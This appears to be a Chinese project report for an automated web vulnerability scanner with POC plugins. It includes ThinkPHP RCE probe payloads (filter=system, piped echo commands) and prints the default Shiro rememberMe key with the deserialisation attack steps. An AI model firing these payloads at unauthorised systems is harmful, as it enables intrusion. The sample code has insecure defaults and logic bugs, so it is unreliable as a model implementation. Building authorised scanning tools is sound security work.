自动化漏洞扫描与 POC 验证工具 项目技术报告
项目名称: Web Vulnerability Scanner版本号: v1.0.0完成日期: 2026-03-18技术架构: Python Flask + Vue 3
目录
项目概述
系统架构设计
技术实现详解
核心模块分析
POC 插件系统
前端系统设计
数据库设计
API 接口文档
配置与部署
使用说明
安全声明
1. 项目概述 1.1 项目背景 随着 Web 应用的普及和复杂度的提升,Web 安全问题日益突出。SQL 注入、XSS 跨站脚本、远程代码执行等高危漏洞严重威胁着 Web 应用的安全。传统的人工渗透测试效率低下,难以满足大规模安全检测的需求。
本项目旨在开发一款轻量级、高效率、可扩展 的自动化 Web 漏洞扫描器,帮助安全研究人员快速发现和验证 Web 应用中的安全漏洞。
1.2 项目目标
目标
描述
高效扫描
基于多线程架构,实现并发扫描,提升检测效率
漏洞检测
支持多种主流 Web 漏洞类型的自动化检测
POC 验证
内置 POC 插件,通过构造特异性请求精准验证漏洞
指纹识别
自动识别目标资产指纹,为漏洞检测提供依据
报告生成
自动生成包含修复建议的 HTML 检测报告
插件扩展
采用插件化架构,便于扩展新的漏洞检测模块
1.3 项目特点 1 2 3 4 5 6 7 8 9 10 11 12 ┌─────────────────────────────────────────────────────────┐ │ 项目核心特点 │ ├─────────────────────────────────────────────────────────┤ │ ✓ 多线程并发扫描,效率提升 5-10 倍 │ │ ✓ 插件化 POC 架构,可自由扩展 │ │ ✓ 资产指纹自动识别 │ │ ✓ 实时 WebSocket 进度推送 │ │ ✓ 自动化 HTML 报告生成 │ │ ✓ Vue 3 现代前端界面 │ │ ✓ RESTful API 设计 │ │ ✓ SQLite 轻量级数据存储 │ └─────────────────────────────────────────────────────────┘
2. 系统架构设计 2.1 整体架构 本项目采用经典的前后端分离架构 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 ┌──────────────────────────────────────────────────────────────────┐ │ 用户交互层 │ │ Vue 3 + Element Plus │ │ ┌─────────────────────┐ │ │ │ Dashboard │ Scan │ │ │ │ Results │ Reports │ │ │ └──────────┬──────────┘ │ └────────────────────────────┼────────────────────────────────────┘ │ HTTP / WebSocket ┌────────────────────────────┼────────────────────────────────────┐ │ API 网关层 │ │ Flask + Flask-SocketIO │ │ ┌──────────┬──────────┬──────────┐ │ │ │ Scan API │Task API │Report API│ │ │ └────┬─────┴────┬─────┴────┬─────┘ │ └──────────────────────┼─────────┼──────────┼──────────────────────┘ │ │ │ ┌──────────────────────┼─────────┼──────────┼──────────────────────┐ │ 业务服务层 │ │ │ ┌─────────────┬───┴───┬────────┴───┬─────────────┐ │ │ │ScannerService│TaskService│ResultService│ReportService│ │ │ └─────────────┴────────┴─────────────┴─────────────┘ │ │ │ │ │ ┌─────────────┬─────────┴────────┬─────────────┐ │ │ │ Fingerprint │ HTTP Client │ ThreadPool │ │ │ └─────────────┴─────────────────┴─────────────┘ │ │ │ │ │ ┌───────────────────────────────────────────────┐ │ │ │ POC 插件层 │ │ │ │ ThinkPHP │ Shiro │ SQLi │ XSS │ LFI │ Cmd │ │ │ └───────────────────────────────────────────────┘ │ └───────────────────────────────────────────────────────────────────┘ │ ┌────────────────────────────┼────────────────────────────────────┐ │ 数据存储层 │ │ SQLite 数据库 │ │ ┌────────────┼────────────┐ │ │ │ ScanTasks │ Results │ Reports │ │ │ └────────────┴──────────┴────────┘ │ └───────────────────────────────────────────────────────────────────┘
2.2 模块职责划分
模块层次
模块名称
职责描述
用户交互层
Vue 3 前端
接收用户输入、展示扫描结果、实时进度显示
API 网关层
Flask 路由
接收 HTTP 请求、分发到对应服务
业务服务层
Services
封装核心业务逻辑
核心引擎层
Core
扫描调度、HTTP 请求、线程管理
POC 插件层
Plugins
各类漏洞的具体检测逻辑
数据存储层
SQLite
持久化任务、结果、报告数据
2.3 技术选型理由 后端技术选型
技术
选型理由
Flask
轻量级 Web 框架,学习成本低,易于扩展,适合中小型项目
Flask-SocketIO
支持 WebSocket 双向通信,实现实时进度推送
requests
Python 最流行的 HTTP 库,API 简洁,功能完善
SQLAlchemy
Python ORM 标准库,支持多种数据库
ThreadPoolExecutor
Python 并发标准库,无需额外依赖
前端技术选型
技术
选型理由
Vue 3
渐进式框架,Composition API 提升代码组织能力
Element Plus
Vue 3 桌面端组件库,UI 美观,文档完善
Vite
新一代构建工具,开发体验极佳,热更新快速
Pinia
Vue 3 推荐的状态管理库,API 简洁
Socket.io-client
WebSocket 客户端,与 Flask-SocketIO 完美配合
3. 技术实现详解 3.1 多线程扫描实现 扫描效率是漏洞扫描器的核心指标之一。本项目采用 Python 标准库 concurrent.futures 中的 ThreadPoolExecutor 实现多线程并发扫描。
核心代码实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from concurrent.futures import ThreadPoolExecutor, as_completedclass ScannerEngine : def __init__ (self, http_client, task_id=None ): self .http_client = http_client self .task_id = task_id self .results = [] self ._stopped = False def scan (self, target, plugins, threads=10 ): results = [] self ._stopped = False with ThreadPoolExecutor(max_workers=threads) as executor: futures = { executor.submit(p.check, target, self .http_client): p for p in plugins } for future in as_completed(futures): if self ._stopped: executor.shutdown(wait=False ) break try : result = future.result() if result: results.append(result) except Exception: pass return results
技术要点分析:
要点
说明
ThreadPoolExecutor
创建固定大小的线程池,避免线程无限创建
as_completed()
异步迭代器,任务完成即返回,提高响应速度
异常隔离
每个插件在独立线程中执行,try-except 确保单点故障不影响全局
中途停止
通过 _stopped 标志位实现优雅停止
性能对比:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 单线程扫描(6个插件): Plugin 1 ████████████████████ 2s Plugin 2 ████████████████████ 2s Plugin 3 ████████████████████ 2s Plugin 4 ████████████████████ 2s Plugin 5 ████████████████████ 2s Plugin 6 ████████████████████ 2s 总计:12秒 多线程扫描(6个插件,10线程): Plugin 1 ████████ 2s Plugin 2 ████████ 2s Plugin 3 ████████ 2s Plugin 4 ████████ 2s Plugin 5 ████████ 2s Plugin 6 ████████ 2s 总计:2秒(理论最优)
3.2 HTTP 客户端封装 为了保证扫描器的稳定性和健壮性,HTTP 客户端进行了封装:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import requestsfrom requests.adapters import HTTPAdapterfrom urllib3.util.retry import Retryclass HTTPClient : def __init__ (self ): self .session = requests.Session() self ._setup_session() def _setup_session (self ): retry = Retry( total=Config.MAX_RETRY, backoff_factor=0.5 , status_forcelist=[500 , 502 , 503 , 504 ] ) adapter = HTTPAdapter(max_retries=retry) self .session.mount('http://' , adapter) self .session.mount('https://' , adapter) self .session.headers.update({ 'User-Agent' : Config.USER_AGENT }) def get (self, url, **kwargs ): kwargs.setdefault('timeout' , Config.REQUEST_TIMEOUT) return self .session.get(url, **kwargs) def post (self, url, **kwargs ): kwargs.setdefault('timeout' , Config.REQUEST_TIMEOUT) return self .session.post(url, **kwargs)
可靠性保障:
机制
作用
Session 复用
复用 TCP 连接,提升请求效率
自动重试
网络波动时自动重试,提高成功率
超时控制
防止请求卡死,提升用户体验
异常捕获
单次请求失败不影响整体扫描
3.3 WebSocket 实时通信 扫描过程中需要实时推送进度,采用了 WebSocket 双向通信:
后端 WebSocket 服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 socketio = SocketIO(app, cors_allowed_origins="*" , async_mode='threading' ) class ScannerService : def _run_scan (self, task_id, target, scan_types, threads ): socketio.emit('scan_completed' , { 'task_id' : task_id, 'results_count' : len (results) })
前端 WebSocket 客户端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import { io } from 'socket.io-client' const socket = io ('http://localhost:5000' )export function useSocket ( ) { socket.on ('scan_started' , (data ) => { console .log ('扫描开始:' , data) }) socket.on ('scan_completed' , (data ) => { console .log ('扫描完成:' , data) }) socket.on ('scan_failed' , (data ) => { console .error ('扫描失败:' , data) }) return socket }
4. 核心模块分析 4.1 扫描引擎 (ScannerEngine) 扫描引擎是整个系统的核心调度器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ┌─────────────────────────────────────────────────────────────┐ │ ScannerEngine │ ├─────────────────────────────────────────────────────────────┤ │ 输入:target, plugins, threads │ │ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ ThreadPoolExecutor │ │ │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ │ │ Plugin1 │ │ Plugin2 │ │ Plugin3 │ │ Plugin4 │ │ │ │ │ │ (线程1) │ │ (线程2) │ │ (线程3) │ │ (线程4) │ │ │ │ │ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │ │ │ └───────┼───────────┼───────────┼─────────────┼────────┘ │ │ │ │ │ │ │ │ ┌───────┴───────────┴───────────┴─────────────┴────────┐ │ │ │ 结果聚合 │ │ │ │ [result1, result2, result3, ...] │ │ │ └──────────────────────────────────────────────────────┘ │ │ │ │ 输出:results (漏洞列表) │ └─────────────────────────────────────────────────────────────┘
4.2 资产指纹识别 (Fingerprint) 指纹识别是漏洞检测的前置步骤,通过分析响应特征判断目标框架:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 class Fingerprint : def __init__ (self, http_client ): self .http_client = http_client self .fingerprints = { 'ThinkPHP' : [ (r'ThinkPHP' , 'X-Powered-By' ), (r'/think/php/library/think' , 'body' ), (r'__construct' , 'body' ) ], 'Spring' : [ (r'Spring' , 'X-Application-Context' ), (r'Spring Boot' , 'body' ) ], 'Shiro' : [ (r'rememberMe' , 'Set-Cookie' ), (r'shiro' , 'body' ) ], } def identify (self, url ): try : resp = self .http_client.get(url, allow_redirects=True ) headers = dict (resp.headers) body = resp.text findings = {} for name, patterns in self .fingerprints.items(): for pattern, source in patterns: if source == 'Server' and 'Server' in headers: if re.search(pattern, headers['Server' ], re.I): findings[name] = True elif source == 'body' : if re.search(pattern, body, re.I): findings[name] = True return list (findings.keys()) except Exception: return []
指纹识别流程:
1 2 3 4 5 6 7 8 9 1. 发送 HTTP 请求获取目标响应 ↓ 2. 提取响应头和响应体 ↓ 3. 遍历指纹规则库进行正则匹配 ↓ 4. 汇总匹配的框架列表 ↓ 5. 返回指纹识别结果
4.3 任务管理服务 (ScannerService) 任务管理服务负责扫描任务的完整生命周期:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 class ScannerService : def start_scan (self, target, scan_types=None , threads=10 ): task_id = str (uuid.uuid4()) task = ScanTask( id =task_id, target=target, status='running' , progress=0 ) db.session.add(task) db.session.commit() thread = threading.Thread( target=self ._run_scan, args=(task_id, target, scan_types, threads) ) thread.daemon = True thread.start() socketio.emit('scan_started' , {'task_id' : task_id}) return task_id
5. POC 插件系统 5.1 插件架构设计 采用策略模式 + 工厂模式 设计插件系统:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ┌─────────────────────────────────────────────────────────────┐ │ POCPlugin (抽象基类) │ ├─────────────────────────────────────────────────────────────┤ │ + name: str # 插件名称 │ │ + severity: str # 严重等级 │ │ + description: str # 漏洞描述 │ │ + check(target, http_client) # 抽象方法:检测逻辑 │ │ + verify_response() # 通用方法:响应验证 │ └─────────────────────────────────────────────────────────────┘ △ │ 继承 ┌─────────────────────┼─────────────────────┐ │ │ │ ┌───────┴───────┐ ┌───────┴───────┐ ┌───────┴───────┐ │ThinkPHP_RCE_POC│ │ Shiro_POC │ │ SQLi_POC │ ├───────────────┤ ├───────────────┤ ├───────────────┤ │ - 多路径探测 │ │ - Cookie 特征 │ │ - 错误信息匹配 │ │ - 命令回显检测 │ │ - rememberMe │ │ - SQL 语法错误 │ └───────────────┘ └───────────────┘ └───────────────┘
5.2 插件基类实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from abc import ABC, abstractmethodclass POCPlugin (ABC ): """POC 插件抽象基类""" name = "base" severity = "medium" description = "" @abstractmethod def check (self, target, http_client ): """ 检测漏洞是否存在 Args: target: 目标 URL http_client: HTTP 客户端实例 Returns: dict: 漏洞信息字典,存在漏洞时返回 None: 不存在漏洞时返回 """ pass def verify_response (self, response, indicators ): """ 验证响应是否包含特定特征 Args: response: HTTP 响应对象 indicators: 特征列表 Returns: bool: 是否匹配 """ if not response: return False text = response.text if hasattr (response, 'text' ) else str (response) for indicator in indicators: if indicator.lower() in text.lower(): return True return False
5.3 ThinkPHP RCE 插件详解 ThinkPHP 远程代码执行漏洞是 Web 安全中的高危漏洞,本插件实现了精准检测:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import uuidfrom app.plugins.base import POCPluginclass ThinkPHP_RCE_POC (POCPlugin ): name = "ThinkPHP RCE" severity = "critical" description = "ThinkPHP远程代码执行漏洞" def check (self, target, http_client ): paths = [ f"{target.rstrip('/' )} /index.php?s=1" , f"{target.rstrip('/' )} /?s=1" , target.rstrip('/' ) ] test_cmd = "echo vuln_test_" + str (uuid.uuid4())[:8 ] payloads = [ {"s" : f"/{test_cmd} " }, {"s" : f"|{test_cmd} " }, {"_method" : "__construct" , "filter" : "system" , test_cmd: "echo test" } ] for path in paths: for payload in payloads: try : resp = http_client.post(path, data=payload, timeout=10 ) if test_cmd.split('_' )[1 ] in (resp.text or '' ): return { 'plugin' : self .name, 'target' : path, 'severity' : self .severity, 'description' : self .description, 'payload' : str (payload), 'evidence' : 'RCE confirmed' } except Exception: pass return None
检测原理图解:
1 2 3 4 5 6 7 8 9 10 11 12 正常请求: ┌─────────┐ POST /index.php?s=1 ┌─────────┐ │ Scanner │ ───────────────────────────→ │ Target │ └─────────┘ └─────────┘ Response: 404 / 正常页面 RCE Payload: ┌─────────┐ POST /index.php?s=1 ┌─────────┐ │ Scanner │ ───────────────────────────→ │ Target │ │ │ s=|echo vuln_test_abc123 │ (Think) │ └─────────┘ └─────────┘ Response: vuln_test_abc123 ← 命令执行成功!
5.4 Shiro 反序列化插件详解 Apache Shiro 反序列化漏洞是一个经典的 Java 安全漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import base64import uuidfrom app.plugins.base import POCPluginclass Shiro_POC (POCPlugin ): name = "Shiro Deserialization" severity = "critical" description = "Apache Shiro反序列化远程代码执行" def check (self, target, http_client ): test_value = "vuln_test_" + str (uuid.uuid4())[:8 ] headers = { "Cookie" : f"rememberMe={test_value} " , "User-Agent" : "Mozilla/5.0" } try : resp = http_client.get(target, headers=headers, timeout=10 ) cookies = resp.headers.get('Set-Cookie' , '' ) if 'rememberMe' in cookies: if 'deleteMe' in cookies: return { 'plugin' : self .name, 'target' : target, 'severity' : self .severity, 'description' : self .description, 'evidence' : 'rememberMe=deleteMe detected' } except Exception: pass return None
Shiro 漏洞原理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ┌─────────────────────────────────────────────────────────────┐ │ Shiro 认证流程 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 1. 客户端发送请求 │ │ 2. Shiro 从 Cookie 读取 rememberMe │ │ 3. Base64 解码 rememberMe │ │ 4. 使用密钥反序列化 │ │ │ │ 问题:默认密钥硬编码在代码中 │ │ kPH+bIxk5D2deZiIxcaaaA== │ │ │ │ 攻击者可以: │ │ 1. 构造恶意对象的序列化数据 │ │ 2. Base64 编码 │ │ 3. 设置为 rememberMe Cookie │ │ 4. 服务端反序列化时执行恶意代码 │ │ │ └─────────────────────────────────────────────────────────────┘
5.5 其他 POC 插件
插件
严重等级
检测方式
特征识别
SQL 注入
Critical
发送 SQL 语法片段
错误信息匹配(sql syntax, ORA-, mysql_fetch)
XSS
High
发送 XSS payload
反射检测(payload 在响应中回显)
文件包含
High
读取敏感文件
内容泄露(root: 存在)
命令注入
Critical
执行系统命令
回显检测(标记字符串出现)
6. 前端系统设计 6.1 页面路由设计 1 2 3 4 5 6 7 8 9 10 ┌─────────────────────────────────────────────────────────────┐ │ Vue Router │ ├─────────────────────────────────────────────────────────────┤ │ │ │ /dashboard → Dashboard.vue (首页仪表盘) │ │ /scan → Scan.vue (新建扫描) │ │ /results → Results.vue (扫描结果) │ │ /reports → Reports.vue (报告管理) │ │ │ └─────────────────────────────────────────────────────────────┘
6.2 状态管理 (Pinia) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import { defineStore } from 'pinia' import { ref } from 'vue' import axios from 'axios' export const useScanStore = defineStore ('scan' , () => { const tasks = ref ([]) const currentTask = ref (null ) const results = ref ([]) async function startScan (target : string , scanTypes : string [], threads : number ) { const response = await axios.post ('http://localhost:5000/api/scan/start' , { target, scan_types : scanTypes, threads }) return response.data .task_id } async function fetchTasks ( ) { const response = await axios.get ('http://localhost:5000/api/tasks' ) tasks.value = response.data } return { tasks, currentTask, results, startScan, fetchTasks } })
6.3 核心页面组件 6.3.1 扫描页面 (Scan.vue) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <template> <div class="scan-page"> <el-card> <el-form :model="scanForm" label-width="120px"> <!-- 目标 URL 输入 --> <el-form-item label="目标URL"> <el-input v-model="scanForm.target" placeholder="http://example.com" /> </el-form-item> <!-- 漏洞类型选择 --> <el-form-item label="扫描类型"> <el-checkbox-group v-model="scanForm.scanTypes"> <el-checkbox label="thinkphp">ThinkPHP RCE</el-checkbox> <el-checkbox label="shiro">Shiro 反序列化</el-checkbox> <el-checkbox label="sqli">SQL注入</el-checkbox> <el-checkbox label="xss">XSS</el-checkbox> <el-checkbox label="file_include">文件包含</el-checkbox> <el-checkbox label="cmd_inject">命令注入</el-checkbox> </el-checkbox-group> </el-form-item> <!-- 线程数调节 --> <el-form-item label="线程数"> <el-slider v-model="scanForm.threads" :min="1" :max="50" show-input /> </el-form-item> <!-- 开始扫描按钮 --> <el-form-item> <el-button type="primary" @click="startScan">开始扫描</el-button> </el-form-item> </el-form> </el-card> <!-- 扫描进度显示 --> <el-card v-if="currentTaskId" style="margin-top: 20px;"> <el-progress :percentage="scanProgress" /> <el-tag :type="statusType">{{ statusText }}</el-tag> </el-card> </div> </template>
6.3.2 仪表盘页面 (Dashboard.vue) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <template> <div class="dashboard"> <!-- 统计卡片 --> <el-row :gutter="20"> <el-col :span="6"> <el-card class="stat-card"> <div class="stat-value">{{ tasks.length }}</div> <div class="stat-label">总任务数</div> </el-card> </el-col> <el-col :span="6"> <el-card class="stat-card"> <div class="stat-value">{{ completedTasks }}</div> <div class="stat-label">已完成</div> </el-card> </el-col> <!-- 更多统计卡片... --> </el-row> <!-- 任务列表 --> <el-table :data="tasks"> <el-table-column prop="target" label="目标" /> <el-table-column prop="status" label="状态"> <template #default="scope"> <el-tag :type="getStatusType(scope.row.status)"> {{ getStatusText(scope.row.status) }} </el-tag> </template> </el-table-column> <el-table-column prop="progress" label="进度"> <template #default="scope"> <el-progress :percentage="scope.row.progress" /> </template> </el-table-column> <el-table-column label="操作"> <template #default="scope"> <el-button @click="viewResults(scope.row.id)">查看</el-button> </template> </el-table-column> </el-table> </div> </template>
7. 数据库设计 7.1 数据库概览 本项目使用 SQLite 作为数据库,这是一种轻量级的文件型数据库,无需额外配置,适合中小型应用。
7.2 数据表设计 7.2.1 扫描任务表 (scan_tasks) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 class ScanTask (db.Model): """扫描任务模型""" __tablename__ = 'scan_tasks' id = db.Column(db.String(36 ), primary_key=True ) target = db.Column(db.String(500 ), nullable=False ) status = db.Column(db.String(20 ), default='pending' ) progress = db.Column(db.Integer, default=0 ) scan_types = db.Column(db.Text) threads = db.Column(db.Integer, default=10 ) created_at = db.Column(db.DateTime, default=datetime.now) updated_at = db.Column(db.DateTime, default=datetime.now) completed_at = db.Column(db.DateTime, nullable=True ) error_message = db.Column(db.Text) results = db.relationship('VulnerabilityResult' , backref='task' , lazy=True , cascade='all, delete-orphan' )
状态流转图:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ┌─────────┐ │ pending │ ← 任务创建 └────┬────┘ ↓ ┌─────────┐ ────→│ running │ ← 扫描进行中 └────┬────┘ │ ┌─────┴─────┐ ↓ ↓ ┌─────────┐ ┌─────────┐ │completed│ │ failed │ └─────────┘ └─────────┘ ↑ ↑ └─────┬─────┘ ↓ ┌─────────┐ │ stopped │ ← 用户主动停止 └─────────┘
7.2.2 漏洞结果表 (vulnerability_results) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class VulnerabilityResult (db.Model): """漏洞结果模型""" __tablename__ = 'vulnerability_results' id = db.Column(db.Integer, primary_key=True , autoincrement=True ) task_id = db.Column(db.String(36 ), db.ForeignKey('scan_tasks.id' )) plugin_name = db.Column(db.String(100 )) vulnerability_name = db.Column(db.String(100 )) severity = db.Column(db.String(20 )) url = db.Column(db.String(500 )) description = db.Column(db.Text) proof = db.Column(db.Text) payload = db.Column(db.Text) remediation = db.Column(db.Text) status = db.Column(db.String(20 ), default='confirmed' ) created_at = db.Column(db.DateTime, default=datetime.now)
7.2.3 报告表 (reports) 1 2 3 4 5 6 7 8 9 10 class Report (db.Model): """报告模型""" __tablename__ = 'reports' id = db.Column(db.String(36 ), primary_key=True ) task_id = db.Column(db.String(36 ), db.ForeignKey('scan_tasks.id' )) format = db.Column(db.String(10 )) file_path = db.Column(db.String(500 )) content = db.Column(db.Text) created_at = db.Column(db.DateTime, default=datetime.now)
7.3 数据库关系图 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ┌─────────────────────┐ ┌─────────────────────────────┐ │ scan_tasks │ │ vulnerability_results │ ├─────────────────────┤ ├─────────────────────────────┤ │ id (PK) │◄──────│ task_id (FK) │ │ target │ 1:N │ id (PK) │ │ status │ │ plugin_name │ │ progress │ │ severity │ │ created_at │ │ url │ └─────────────────────┘ │ description │ │ │ proof │ │ 1:N │ payload │ ▼ │ remediation │ ┌─────────────────────┐ └─────────────────────────────┘ │ reports │ ├─────────────────────┤ │ id (PK) │ │ task_id (FK) │ │ format │ │ file_path │ │ content │ │ created_at │ └─────────────────────┘
8. API 接口文档 8.1 扫描相关接口 8.1.1 启动扫描
请求参数:
1 2 3 4 5 { "target" : "http://example.com" , "scan_types" : [ "thinkphp" , "shiro" , "sqli" ] , "threads" : 10 }
响应示例:
1 2 3 4 { "task_id" : "550e8400-e29b-41d4-a716-446655440000" , "message" : "Scan started" }
8.1.2 停止扫描 1 POST /api/scan/stop/{task_id}
响应示例:
1 2 3 { "message" : "Scan stopped" }
8.1.3 获取扫描状态 1 GET /api/scan/status/{task_id}
响应示例:
1 2 3 4 5 6 { "task_id" : "550e8400-e29b-41d4-a716-446655440000" , "status" : "running" , "progress" : 50 , "target" : "http://example.com" }
8.2 任务相关接口 8.2.1 获取所有任务
响应示例:
1 2 3 4 5 6 7 8 9 10 [ { "id" : "550e8400-e29b-41d4-a716-446655440000" , "target" : "http://example.com" , "status" : "completed" , "progress" : 100 , "result_count" : 3 , "created_at" : "2026-03-18T10:00:00" } ]
8.2.2 获取指定任务 1 GET /api/tasks/{task_id}
8.3 结果相关接口 8.3.1 获取漏洞结果 1 GET /api/results/{task_id}
响应示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 [ { "id" : 1 , "task_id" : "550e8400-e29b-41d4-a716-446655440000" , "plugin_name" : "ThinkPHP RCE" , "severity" : "critical" , "url" : "http://example.com/index.php?s=1" , "description" : "ThinkPHP远程代码执行漏洞" , "payload" : "s=|echo test" , "proof" : "RCE confirmed" , "remediation" : "1. 升级ThinkPHP到最新版本..." } ]
8.4 报告相关接口 8.4.1 生成报告 1 POST /api/reports/generate/{task_id}
响应示例:
1 2 3 4 5 { "id" : "660e8400-e29b-41d4-a716-446655440001" , "format" : "html" , "content" : "<!DOCTYPE html>..." }
8.4.2 获取报告 1 GET /api/reports/{report_id}
9. 配置与部署 9.1 配置文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 class Config : SECRET_KEY = os.environ.get('SECRET_KEY' ) or 'vuln-scanner-secret-key-2024' BASE_DIR = os.path.abspath(os.path.dirname(__file__)) SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_URL' ) or \ f'sqlite:///{os.path.join(os.path.dirname(BASE_DIR), "scanner.db" )} ' SQLALCHEMY_TRACK_MODIFICATIONS = False SOCKETIO_MESSAGE_QUEUE = None SOCKETIO_ASYNC_MODE = 'threading' DEFAULT_THREADS = 10 MAX_THREADS = 50 REQUEST_TIMEOUT = 30 MAX_RETRY = 3 USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' REPORT_DIR = os.path.join(os.path.dirname(BASE_DIR), 'reports' ) LOG_LEVEL = os.environ.get('LOG_LEVEL' ) or 'INFO' LOG_FILE = os.path.join(os.path.dirname(BASE_DIR), 'scanner.log' )
9.2 环境变量
环境变量
默认值
说明
SECRET_KEY
vuln-scanner-secret-key-2024
Flask 密钥
DATABASE_URL
sqlite:///scanner.db
数据库连接
PORT
5000
服务端口
LOG_LEVEL
INFO
日志级别
9.3 部署步骤 9.3.1 后端部署 1 2 3 4 5 6 7 8 9 10 11 12 cd backendpip install -r requirements.txt export SECRET_KEY=your-secret-keyexport PORT=5000python run.py
9.3.2 前端部署 1 2 3 4 5 6 7 8 9 10 11 cd frontendnpm install npm run dev npm run build
10. 使用说明 10.1 扫描流程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ┌─────────────────────────────────────────────────────────────┐ │ 扫描工作流程 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 1. 输入目标 URL │ │ └→ http://target.com │ │ │ │ 2. 选择扫描类型(可多选) │ │ ├→ ThinkPHP RCE │ │ ├→ Shiro 反序列化 │ │ ├→ SQL 注入 │ │ └→ ... │ │ │ │ 3. 调整线程数(默认 10) │ │ │ │ 4. 点击「开始扫描」 │ │ │ │ │ ├→ 后端创建扫描任务 │ │ ├→ 启动多线程并发扫描 │ │ ├→ 实时推送扫描进度 │ │ └→ 扫描完成保存结果 │ │ │ │ 5. 查看扫描结果 │ │ ├→ 漏洞列表 │ │ ├→ 漏洞详情 │ │ └→ 修复建议 │ │ │ │ 6. 生成 HTML 报告 │ │ │ └─────────────────────────────────────────────────────────────┘
10.2 报告样例 生成的 HTML 报告包含以下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ┌─────────────────────────────────────────────────────────────┐ │ Web漏洞扫描报告 │ ├─────────────────────────────────────────────────────────────┤ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ 扫描目标 │ │ 发现漏洞 │ │ 扫描时间 │ │ │ │ target.com │ │ 3 │ │ 2026-03-18 │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ [CRITICAL] ThinkPHP RCE │ │ │ │ URL: http://target.com/index.php?s=1 │ │ │ │ Payload: s=|echo test │ │ │ │ 证据: RCE confirmed │ │ │ │ ───────────────────────────────────────── │ │ │ │ 修复建议: │ │ │ │ 1. 升级ThinkPHP到最新版本 │ │ │ │ 2. 关闭不必要的路由 │ │ │ │ 3. 启用安全防护模块 │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────┘
11. 安全声明 11.1 免责声明 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ┌─────────────────────────────────────────────────────────────┐ │ 重要声明 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ ⚠️ 授权使用: │ │ 本工具仅供安全研究和学习使用。请在获得目标系统所有者 │ │ 明确授权的情况下使用本工具进行安全测试。 │ │ │ │ ⚠️ 风险提示: │ │ 未经授权对任何系统进行漏洞扫描可能违反当地法律法规, │ │ 使用本工具造成的一切后果由使用者自行承担。 │ │ │ │ ⚠️ 使用限制: │ │ - 请勿用于非法目的 │ │ - 请勿扫描未授权的系统 │ │ - 请遵守目标网站的使用条款 │ │ │ └─────────────────────────────────────────────────────────────┘
11.2 最佳实践
实践
说明
获得授权
在进行任何扫描前,确保获得书面授权
限制范围
明确扫描的范围和深度
数据保护
妥善保管扫描结果,避免泄露
合规审计
保留审计日志,证明合法使用
附录 A. 文件清单
目录
文件
说明
backend/app/core
scanner.py
扫描引擎
backend/app/core
fingerprint.py
指纹识别
backend/app/core
http_client.py
HTTP 客户端
backend/app/plugins
base.py
POC 基类
backend/app/plugins
thinkphp_rce.py
ThinkPHP RCE
backend/app/plugins
shiro_poc.py
Shiro 反序列化
backend/app/plugins
sqli.py
SQL 注入
backend/app/plugins
xss.py
XSS
backend/app/plugins
file_include.py
文件包含
backend/app/plugins
cmd_inject.py
命令注入
backend/app/services
scanner_service.py
扫描服务
backend/app/services
report_service.py
报告服务
backend/app/models
init .py
